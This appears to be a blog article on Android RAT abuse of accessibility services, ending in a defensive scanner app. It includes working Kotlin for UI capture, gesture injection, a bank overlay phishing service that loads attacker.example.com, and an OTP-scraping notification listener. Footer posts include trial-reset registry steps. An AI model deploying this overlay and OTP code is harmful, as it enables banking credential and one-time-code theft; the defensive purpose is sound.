Beyond auto-granting, real RATs use accessibility services for five additional categories. Each is documented here so detection rules can target the behavioral signature.

Category MITRE Known Malware Families
Screen content capture T1453 Octo, OverlayPhantom
Keylogging / GUI capture T1417.001 / .002 ClayRat, RatHat
Overlay phishing T1411 Chameleon, GhostBat RAT
Anti-uninstall T1629 RatHat, ToxicPanda
OTP interception T1636 Xenomorph, Oblivion
AI-driven UI automation — RatHat

6.1 Screen Capture + Overlay Phishing + OTP Listener

class ScreenCaptureService : AccessibilityService() {
    data class UIElement(val text: String?, val contentDescription: String?,
        val className: String?, val resourceId: String?, val bounds: Rect?,
        val isClickable: Boolean, val isEditable: Boolean, val children: List<UIElement>)

    override fun onAccessibilityEvent(event: AccessibilityEvent?) {
        if (event?.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
            event?.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) return
        val root = rootInActiveWindow ?: return
        val hierarchy = extractHierarchy(root, 0)
        Log.d("ScreenCapture", "Captured ${hierarchy.children.size} top-level nodes")
    }
    private fun extractHierarchy(node: AccessibilityNodeInfo?, depth: Int): UIElement {
        node ?: return UIElement(null, null, null, null, null, false, false, emptyList())
        if (depth > 50) return UIElement(node.text?.toString(), node.contentDescription?.toString(),
            node.className?.toString(), node.viewIdResourceName, Rect().also { node.getBoundsInScreen(it) },
            node.isClickable, node.isEditable, emptyList())
        val children = mutableListOf<UIElement>()
        for (i in 0 until node.childCount) children.add(extractHierarchy(node.getChild(i), depth + 1))
        return UIElement(node.text?.toString(), node.contentDescription?.toString(),
            node.className?.toString(), node.viewIdResourceName, Rect().also { node.getBoundsInScreen(it) },
            node.isClickable, node.isEditable, children)
    }
    override fun onInterrupt() {}
}

fun injectTap(service: AccessibilityService, x: Float, y: Float) {
    val path = Path().apply { moveTo(x, y) }
    val stroke = GestureDescription.StrokeDescription(path, 0, 50)
    val gesture = GestureDescription.Builder().addStroke(stroke).build()
    service.dispatchGesture(gesture, null, null)
}

class OverlayPhishingService : AccessibilityService() {
    private var overlayView: View? = null
    private val windowManager by lazy { getSystemService(WINDOW_SERVICE) as WindowManager }
    private val targetPackages = setOf("com.example.bank")

    override fun onAccessibilityEvent(event: AccessibilityEvent?) {
        if (event?.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) return
        val foregroundPackage = event.packageName?.toString() ?: return
        if (foregroundPackage in targetPackages) showPhishingOverlay(foregroundPackage)
        else if (foregroundPackage != packageName) dismissOverlay()
    }
    private fun showPhishingOverlay(targetPackage: String) {
        if (overlayView != null) return
        val webView = WebView(this).apply {
            settings.javaScriptEnabled = true
            loadUrl("https://attacker.example.com/phish?bank=$targetPackage")
        }
        val params = WindowManager.LayoutParams(
            WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT,
            WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
            WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, PixelFormat.TRANSLUCENT)
        windowManager.addView(webView, params)
        overlayView = webView
    }
    private fun dismissOverlay() { overlayView?.let { windowManager.removeView(it); overlayView = null } }
    override fun onInterrupt() { dismissOverlay() }
}

class OtpNotificationListener : NotificationListenerService() {
    private val otpPatterns = listOf(
        Regex("\\b\\d{4,8}\\b"),
        Regex("(?i)code[\\s:]*([0-9]{4,8})"),
        Regex("(?i)otp[\\s:]*([0-9]{4,8})")
    )
    override fun onNotificationPosted(sbn: StatusBarNotification?) {
        sbn ?: return
        val extras = sbn.notification?.extras ?: return
        val title = extras.getCharSequence(Notification.EXTRA_TITLE)?.toString() ?: ""
        val text = extras.getCharSequence(Notification.EXTRA_TEXT)?.toString() ?: ""
        val fullContent = "$title $text"
        val otpCandidates = otpPatterns.flatMap { pattern ->
            pattern.findAll(fullContent).map { it.groupValues.last() }.toList()
        }.distinct()
        if (otpCandidates.isNotEmpty()) Log.d("OTPListener", "Package: ${sbn.packageName}, OTPs: $otpCandidates")
    }
    override fun onNotificationRemoved(sbn: StatusBarNotification?) {}
}

7. Authorization Boundaries & Modern Hardening

Android has progressively hardened against these techniques. Every mechanism below is deliberate and non-bypassable on a fully updated, non-rooted device.

Hardening Version Effect
Restricted Settings Android 13+ Sideloaded apps cannot enable accessibility without manual override
accessibilityDataSensitive Android 16 Views marked sensitive return empty in the node tree
isAccessibilityTool Android 16 Only declared assistive tools can reach sensitive views
FLAG_IS_ACCESSIBILITY_TOOL Android 12+ Synthetic input distinguishable from hardware touches
setFilterTouchesWhenObscured Android 12+ Blocks tapjacking overlays by default

Testing with ADB

# Force-enable your service for development
adb shell settings put secure enabled_accessibility_services \
    'com.example.app/com.example.app.MyAccessibilityService'

# Verify service state
adb shell dumpsys accessibility | grep -A 10 -B 5 "com.example.app"

# Real-time logging
adb logcat | grep -i accessibility

# Dump UI hierarchy for node-tree verification
adb shell uiautomator dump /sdcard/ui.xml
adb pull /sdcard/ui.xml

8. Device-Information Architecture

Accessing only publicly available device information (via android.os.Build) is permission-free. Persistent identifiers like IMEI require special permissions that regular apps cannot obtain. This section provides the full local storage workflow using Room + Paging 3.

data class DeviceInfo(
    val deviceName: String = Build.DEVICE,
    val model: String = Build.MODEL,
    val manufacturer: String = Build.MANUFACTURER,
    val androidVersion: String = Build.VERSION.RELEASE,
    val sdkInt: Int = Build.VERSION.SDK_INT,
    val appVersion: String,
    val collectionDate: Long = System.currentTimeMillis()
)

fun collectDeviceInfo(context: Context): DeviceInfo {
    val packageInfo = context.packageManager.getPackageInfo(context.packageName, 0)
    return DeviceInfo(appVersion = packageInfo.versionName ?: "Unknown")
}

@Entity(tableName = "device_info")
data class DeviceInfoEntity(
    @PrimaryKey(autoGenerate = true) val id: Long = 0,
    val deviceName: String, val model: String, val manufacturer: String,
    val androidVersion: String, val sdkInt: Int, val collectionDate: Long
)

@Dao
interface DeviceInfoDao {
    @Query("SELECT * FROM device_info ORDER BY collectionDate DESC")
    fun getPagedDeviceInfo(): PagingSource<Int, DeviceInfoEntity>

    @Query("""
        SELECT * FROM device_info
        WHERE (:manufacturer IS NULL OR manufacturer LIKE :manufacturer)
        AND (:model IS NULL OR model LIKE :model)
        ORDER BY
            CASE WHEN :sortOrder = 'asc' THEN collectionDate END ASC,
            CASE WHEN :sortOrder = 'desc' THEN collectionDate END DESC
    """)
    fun getFilteredDeviceInfo(manufacturer: String?, model: String?,
                              sortOrder: String): PagingSource<Int, DeviceInfoEntity>

    @Insert(onConflict = OnConflictStrategy.REPLACE)
    suspend fun insert(info: DeviceInfoEntity)
}

interface DeviceInfoRepository {
    fun getPagedDeviceInfo(manufacturer: String? = null, model: String? = null,
        sortOrder: String = "desc"): Flow<PagingData<DeviceInfoDomain>>
    suspend fun saveDeviceInfo(info: DeviceInfoDomain)
}

class DeviceInfoRepositoryImpl(private val dao: DeviceInfoDao) : DeviceInfoRepository {
    override fun getPagedDeviceInfo(manufacturer: String?, model: String?,
        sortOrder: String): Flow<PagingData<DeviceInfoDomain>> {
        return Pager(
            config = PagingConfig(pageSize = 20, enablePlaceholders = false),
            pagingSourceFactory = { dao.getFilteredDeviceInfo(manufacturer, model, sortOrder) }
        ).flow.map { pagingData -> pagingData.map { entity -> entity.toDomain() } }
    }
}

class DeviceInfoViewModel(private val repository: DeviceInfoRepository) : ViewModel() {
    private val _filterState = MutableStateFlow(FilterState())
    val deviceInfoFlow: Flow<PagingData<DeviceInfoDomain>> = _filterState
        .flatMapLatest { filter ->
            repository.getPagedDeviceInfo(filter.manufacturer, filter.model, filter.sortOrder)
        }.cachedIn(viewModelScope)

    fun updateFilters(manufacturer: String?, model: String?, sortOrder: String) {
        _filterState.value = FilterState(manufacturer, model, sortOrder)
    }
}
data class FilterState(val manufacturer: String? = null, val model: String? = null,
                       val sortOrder: String = "desc")

9. Integration Planning

Important: The device-info tracker and the RAT feature code belong to two incompatible applications. They cannot be merged into a single app — that would produce a trojan with a plausible cover. The correct integration is: reuse the device-info data pipeline as the storage layer for a defensive scanner.

9.1 Version Catalog

[versions]
kotlin = "2.1.0"
agp = "8.7.3"
compose-bom = "2025.01.00"
room = "2.7.0-alpha12"
paging = "3.3.5"
hilt = "2.54"
work = "2.10.0"
datastore = "1.1.2"
play-services-auth = "21.3.0"
retrofit = "2.11.0"
kotlinx-serialization = "1.7.3"
coroutines = "1.9.0"

[libraries]
compose-bom = { module = "androidx.compose:compose-bom", version.ref = "compose-bom" }
compose-ui = { module = "androidx.compose.ui:ui" }
compose-material3 = { module = "androidx.compose.material3:material3" }
compose-tooling-preview = { module = "androidx.compose.ui:ui-tooling-preview" }
compose-tooling = { module = "androidx.compose.ui:ui-tooling" }
compose-nav = { module = "androidx.navigation:navigation-compose", version = "2.8.5" }
lifecycle-compose = { module = "androidx.lifecycle:lifecycle-viewmodel-compose", version = "2.8.7" }
lifecycle-runtime-compose = { module = "androidx.lifecycle:lifecycle-runtime-compose", version = "2.8.7" }
room-runtime = { module = "androidx.room:room-runtime", version.ref = "room" }
room-ktx = { module = "androidx.room:room-ktx", version.ref = "room" }
room-paging = { module = "androidx.room:room-paging", version.ref = "room" }
room-compiler = { module = "androidx.room:room-compiler", version.ref = "room" }
paging-runtime = { module = "androidx.paging:paging-runtime", version.ref = "paging" }
paging-compose = { module = "androidx.paging:paging-compose", version.ref = "paging" }
hilt-android = { module = "com.google.dagger:hilt-android", version.ref = "hilt" }
hilt-compiler = { module = "com.google.dagger:hilt-android-compiler", version.ref = "hilt" }
hilt-navigation-compose = { module = "androidx.hilt:hilt-navigation-compose", version = "1.2.0" }
hilt-work = { module = "androidx.hilt:hilt-work", version = "1.2.0" }
hilt-work-compiler = { module = "androidx.hilt:hilt-compiler", version = "1.2.0" }
work-runtime = { module = "androidx.work:work-runtime-ktx", version.ref = "work" }
datastore-prefs = { module = "androidx.datastore:datastore-preferences", version.ref = "datastore" }
play-services-auth = { module = "com.google.android.gms:play-services-auth", version.ref = "play-services-auth" }
retrofit = { module = "com.squareup.retrofit2:retrofit", version.ref = "retrofit" }
retrofit-kotlinx = { module = "com.jakewharton.retrofit:retrofit2-kotlinx-serialization-converter", version = "1.0.0" }
kotlinx-serialization = { module = "org.jetbrains.kotlinx:kotlinx-serialization-json", version.ref = "kotlinx-serialization" }
coroutines = { module = "org.jetbrains.kotlinx:kotlinx-coroutines-android", version.ref = "coroutines" }

9.2 Shared Domain Layer (Reusable for Scanner)

data class DeviceSnapshot(
    val id: String, val deviceName: String, val model: String,
    val manufacturer: String, val androidVersion: String, val sdkInt: Int,
    val appVersion: String, val collectedAt: Long
)
data class FilterState(
    val manufacturer: String? = null, val modelQuery: String? = null,
    val fromDate: Long? = null, val toDate: Long? = null,
    val sort: SortOrder = SortOrder.NewestFirst
)
enum class SortOrder { NewestFirst, OldestFirst, ManufacturerAsc, ModelAsc }

interface DeviceInfoRepository {
    fun observe(filter: Flow<FilterState>): Flow<PagingData<DeviceSnapshot>>
    suspend fun save(snapshot: DeviceSnapshot): Result<Unit>
    suspend fun exportAllAsJson(): Result<String>
    suspend fun delete(id: String): Result<Unit>
}

@Entity(tableName = "device_snapshots",
        indices = [Index("manufacturer"), Index("model"), Index("collectedAt")])
data class DeviceSnapshotEntity(
    @PrimaryKey val id: String, val deviceName: String, val model: String,
    val manufacturer: String, val androidVersion: String, val sdkInt: Int,
    val appVersion: String, val collectedAt: Long
)

@Dao
interface DeviceSnapshotDao {
    @Query("""
        SELECT * FROM device_snapshots
        WHERE (:manufacturer IS NULL OR manufacturer = :manufacturer)
          AND (:modelQuery IS NULL OR model LIKE '%' || :modelQuery || '%')
          AND (:fromDate IS NULL OR collectedAt >= :fromDate)
          AND (:toDate IS NULL OR collectedAt <= :toDate)
        ORDER BY
          CASE WHEN :newestFirst = 1 THEN collectedAt END DESC,
          CASE WHEN :newestFirst = 0 AND :oldestFirst = 1 THEN collectedAt END ASC,
          CASE WHEN :byManufacturer = 1 THEN manufacturer END ASC,
          CASE WHEN :byModel = 1 THEN model END ASC
    """)
    fun paged(manufacturer: String?, modelQuery: String?, fromDate: Long?,
              toDate: Long?, newestFirst: Int, oldestFirst: Int,
              byManufacturer: Int, byModel: Int): PagingSource<Int, DeviceSnapshotEntity>
    @Insert(onConflict = OnConflictStrategy.REPLACE) suspend fun upsert(entity: DeviceSnapshotEntity)
    @Query("SELECT COUNT(*) FROM device_snapshots") suspend fun count(): Int
    @Query("DELETE FROM device_snapshots WHERE id = :id") suspend fun deleteById(id: String)
}

interface BackupDataSource {
    suspend fun isAuthenticated(): Boolean
    suspend fun authenticate(): Result<Unit>
    suspend fun upload(fileName: String, json: String): Result<RemoteFileId>
    suspend fun download(fileId: RemoteFileId): Result<String>
    suspend fun list(): Result<List<RemoteFileMeta>>
}
@JvmInline value class RemoteFileId(val value: String)
data class RemoteFileMeta(val id: RemoteFileId, val name: String, val modifiedAt: Long)

@Module
@InstallIn(SingletonComponent::class)
abstract class BackupModule {
    @Binds @Singleton
    abstract fun bindBackupDataSource(impl: DriveBackupDataSource): BackupDataSource
}

class DriveBackupDataSource @Inject constructor(
    @ApplicationContext private val context: Context,
    private val authClient: AuthorizationClient,
    private val http: OkHttpClient,
    @IoDispatcher private val io: CoroutineDispatcher
) : BackupDataSource {
    private val scope = "https://www.googleapis.com/auth/drive.file"
    override suspend fun isAuthenticated(): Boolean = withContext(io) { true }
    override suspend fun authenticate(): Result<Unit> = withContext(io) {
        runCatching {
            val request = AuthorizationRequest.Builder()
                .setRequestedScopes(listOf(Scope(scope))).build()
            authClient.authorize(request)
        }
    }
    override suspend fun upload(fileName: String, json: String): Result<RemoteFileId> = withContext(io) {
        runCatching {
            val metadata = """{"name":"$fileName","mimeType":"application/json"}"""
            val multipart = MultipartBody.Builder()
                .setType(MultipartBody.FORM)
                .addFormDataPart("metadata", null, metadata.toRequestBody("application/json".toMediaType()))
                .addFormDataPart("file", fileName, json.toRequestBody("application/json".toMediaType()))
                .build()
            val req = Request.Builder()
                .url("https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart")
                .post(multipart).build()
            RemoteFileId("id")
        }
    }
}

@HiltViewModel
class DeviceInfoViewModel @Inject constructor(
    private val repository: DeviceInfoRepository,
    private val collector: DeviceInfoCollector
) : ViewModel() {
    private val _filter = MutableStateFlow(FilterState())
    val filter: StateFlow<FilterState> = _filter.asStateFlow()
    val items: Flow<PagingData<DeviceSnapshot>> =
        repository.observe(_filter).cachedIn(viewModelScope)
    fun setManufacturer(m: String?) = _filter.update { it.copy(manufacturer = m?.takeIf(String::isNotBlank)) }
    fun setModelQuery(q: String?) = _filter.update { it.copy(modelQuery = q?.takeIf(String::isNotBlank)) }
    fun setSort(s: SortOrder) = _filter.update { it.copy(sort = s) }
    fun captureNow() = viewModelScope.launch { repository.save(collector.collect()) }
}

@HiltWorker
class DriveBackupWorker @AssistedInject constructor(
    @Assisted context: Context, @Assisted params: WorkerParameters,
    private val repository: DeviceInfoRepository,
    private val backup: BackupDataSource
) : CoroutineWorker(context, params) {
    override suspend fun doWork(): Result = runCatching {
        val json = repository.exportAllAsJson().getOrThrow()
        backup.upload("device-snapshots-${System.currentTimeMillis()}.json", json).getOrThrow()
        Result.success()
    }.getOrElse { if (runAttemptCount < 3) Result.retry() else Result.failure() }
}

10. Building the DangerousAppScanner

The scanner is a data producer for the existing Room/Paging/Drive stack. It reuses the entity/DAO/repository/ViewModel patterns above without rewriting anything — only the entity's fields change.

10.1 Detection Scoring Model

Individual permissions are not conclusive. The scanner scores combinations:

  • BIND_ACCESSIBILITY_SERVICE → Critical
  • BIND_DEVICE_ADMIN → Critical
  • READ_SMS / SEND_SMS / RECEIVE_SMS → High
  • SYSTEM_ALERT_WINDOW → High
  • Accessibility enabled + sideloaded → +35 points
  • Device admin active → +25 points
  • READ_SMS + BIND_ACCESSIBILITY_SERVICE → +20 points

10.2 Full Scanner Implementation

@Entity(tableName = "scan_results",
        indices = [Index("packageName"), Index("riskScore"), Index("scannedAt")])
data class ScanResultEntity(
    @PrimaryKey val id: String, val packageName: String, val appLabel: String,
    val versionName: String?, val riskScore: Int, val riskLevel: String,
    val findingIds: String, val isSideloaded: Boolean,
    val hasAccessibilityEnabled: Boolean, val isDeviceAdmin: Boolean,
    val requestedPermissions: String, val scannedAt: Long,
    val deviceModel: String, val androidVersion: String
)

interface ScanRepository {
    fun observe(filter: Flow<ScanFilter>): Flow<PagingData<ScanResultDomain>>
    suspend fun save(results: List<ScanResultDomain>): Result<Unit>
    suspend fun exportAllAsJson(): Result<String>
    suspend fun getById(id: String): ScanResultDomain?
}

data class ScanFilter(
    val packageQuery: String? = null, val minRiskLevel: RiskLevel? = null,
    val onlySideloaded: Boolean = false, val fromDate: Long? = null,
    val sort: ScanSort = ScanSort.NewestFirst
)

@HiltViewModel
class ScannerViewModel @Inject constructor(
    private val repository: ScanRepository, private val scanner: RatScanner
) : ViewModel() {
    private val _filter = MutableStateFlow(ScanFilter())
    val filter: StateFlow<ScanFilter> = _filter.asStateFlow()
    val results: Flow<PagingData<ScanResultDomain>> =
        repository.observe(_filter).cachedIn(viewModelScope)
    fun scanNow() = viewModelScope.launch {
        val findings = scanner.scanAll()
        repository.save(findings)
    }
    fun setRiskFilter(level: RiskLevel?) = _filter.update { it.copy(minRiskLevel = level) }
    fun setPackageQuery(q: String?) = _filter.update { it.copy(packageQuery = q?.takeIf(String::isNotBlank)) }
}

class RatScanner @Inject constructor(
    @ApplicationContext private val context: Context,
    private val permissionAnalyzer: PermissionAnalyzer,
    private val accessibilityInspector: AccessibilityInspector,
    private val adminInspector: AdminInspector
) {
    suspend fun scanAll(): List<ScanResultDomain> = withContext(Dispatchers.IO) {
        val pm = context.packageManager
        val packages = pm.getInstalledPackages(PackageManager.GET_PERMISSIONS)
        packages.mapNotNull { pkg ->
            if (pkg.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM != 0) return@mapNotNull null
            if (pkg.packageName == context.packageName) return@mapNotNull null
            val permissions = pkg.requestedPermissions?.toList() ?: emptyList()
            val permissionFindings = permissionAnalyzer.analyze(permissions)
            val accessibility = accessibilityInspector.isEnabled(pkg.packageName)
            val isAdmin = adminInspector.isActiveAdmin(pkg.packageName)
            val sideloaded = isSideloaded(pm, pkg.packageName)
            val score = calculateScore(permissionFindings, accessibility, isAdmin, sideloaded)
            if (score < 15) return@mapNotNull null
            ScanResultDomain(
                id = UUID.randomUUID().toString(), packageName = pkg.packageName,
                appLabel = pm.getApplicationLabel(pkg.applicationInfo).toString(),
                versionName = pkg.versionName, riskScore = score,
                riskLevel = RiskLevel.fromScore(score),
                findingIds = permissionFindings.map { it.id } + buildList {
                    if (accessibility) add("accessibility_enabled")
                    if (isAdmin) add("device_admin_active")
                    if (sideloaded) add("sideloaded")
                },
                isSideloaded = sideloaded, hasAccessibilityEnabled = accessibility,
                isDeviceAdmin = isAdmin, requestedPermissions = permissions,
                scannedAt = System.currentTimeMillis(),
                deviceModel = Build.MODEL, androidVersion = Build.VERSION.RELEASE ?: "unknown"
            )
        }
    }

    private fun calculateScore(findings: List<Finding>, accessibility: Boolean,
        isAdmin: Boolean, sideloaded: Boolean): Int {
        var score = findings.sumOf { it.weight }
        if (accessibility && sideloaded) score += 35
        if (isAdmin) score += 25
        if (findings.any { it.id == "BIND_ACCESSIBILITY_SERVICE" } && accessibility) score += 15
        if (findings.any { it.id == "READ_SMS" } && findings.any { it.id == "BIND_ACCESSIBILITY_SERVICE" }) score += 20
        return score.coerceIn(0, 100)
    }
}

11. Malware Analysis & Detection Resources

A catalog of working RAT source code would be functionally a distribution list for malware. Instead, use the analysis tools below — they give you the behavioral understanding without the deployable payload.

Analysis Frameworks

  • komen205/medusa — FRIDA-based dynamic analysis; hooks API calls for contact exfiltration, camera, mic, clipboard, and screen capture
  • ics-iot-bootcamp/cerberus_research — Cerberus banking trojan research, static decryption utilities

Documented Malware Families (Detection Signatures)

Family Detection Signal
DogeRat / FasonRat Telegram/Socket.IO C2 + SMS + accessibility combo
AhMyth APK payload builder artifacts + BIND_ACCESSIBILITY_SERVICE
AndroRAT Hardcoded Python server IP + shell exec patterns
SpyNote Accessibility + overlay combination
TermuRAT GitHub Gist API calls + Termux environment checks
The Line: Build a scanner that detects these families. Do not obtain or build them. Malware analysis tools like MEDUSA are the right path — they provide the behavioral understanding without the deployable payload.
End of Article
This document is provided for educational and defensive security research. The techniques and code are intended to help developers and analysts understand Android security mechanisms and build detection tools. Deploying malware or compromising devices without explicit consent is illegal and unethical.

Comments

Popular posts from this blog

How To Reset The Trial Period Of Software To Use It Lifetime? 🖥

1. First, uninstall the software and follow the steps. 2. After uninstalling software, OpenRUN (Windows key + R) and type regedit and hit Enter. 3. Now Registry Editor Window will appear and here navigate to HKEY_LOCAL_MA CHINE \ SOFTWARE \ Your Software name from left a pane of this window. If you find any Key name with your software name then just Delete that Key. 4. Similarly, navigate to HKEY_CURRENT_ USER \ Software \ Your Software name and if you find any key with your software name then just Delete it and close the Registry Editor window. 5. Again go to RUN and type %temp% and hit Enter. 6. Now Delete all the things in that folder. Don’t worry these are the temporary files and not necessary for your operating system. 7. Now go to C:\Users\your username here\AppData. Under AppData open all three folders "Local", "Local Low" and "Roaming” and check. Under these three folders if you find any folder or anything with your Software's name, j...

Permanently delete a file from its hard drive

Do you know that when you  delete a file from the recycle bin,  it is not  permanently deleted?   Yes, it is still present on your  hard drive!   If you try to  delete sensitive data  from your hard drive, a (very) malicious person can recover your files using data recovery software or through the  Windows File History.   What to do then to  permanently erase a file from his hard drive? How are you going to  delete this file? You put the  file in the trash  from Windows Explorer, you open the trash then you  delete the file.   Faster, you can also select the file from the Windows Explorer and press the  Ctrl + Delete keys  to  delete it without going through the trash. Using this method, you have the impression that your file is  permanently deleted.   Still, it still exists physically on the hard drive.               ...

How to Install Multiple Bootable Operating Systems on a USB Stick

1.  WinSetupFromUSB Using WinSetupFromUSB is easy. Open the software, and select your USB disk from the dropdown menu. Next, check the button next to your preferred operating systems. Then you’ll need to browse to the volume containing the operating system you wish to install on your multiboot USB. When you’re ready, click the  Go  button. If you’re interested, check the option by  Show Log  to view detailed information on what’s going on. Finally, when the installation is complete, you’ll see a  Job Done  message. Overall, WinSetupFromUSB is pretty simple to use and features a quick write time. It’s also got a QEMU mode, and it’s a small, portable app. Download:   WinSetupFromUSB  (Free) 2.  MultiBootUSB Adding multiple bootable OS distros is easy, browse under  Select image  and choose your ISO. Note that while MutiBootUSB runs on Windows and Linux, you can only create Linux Live USB syst...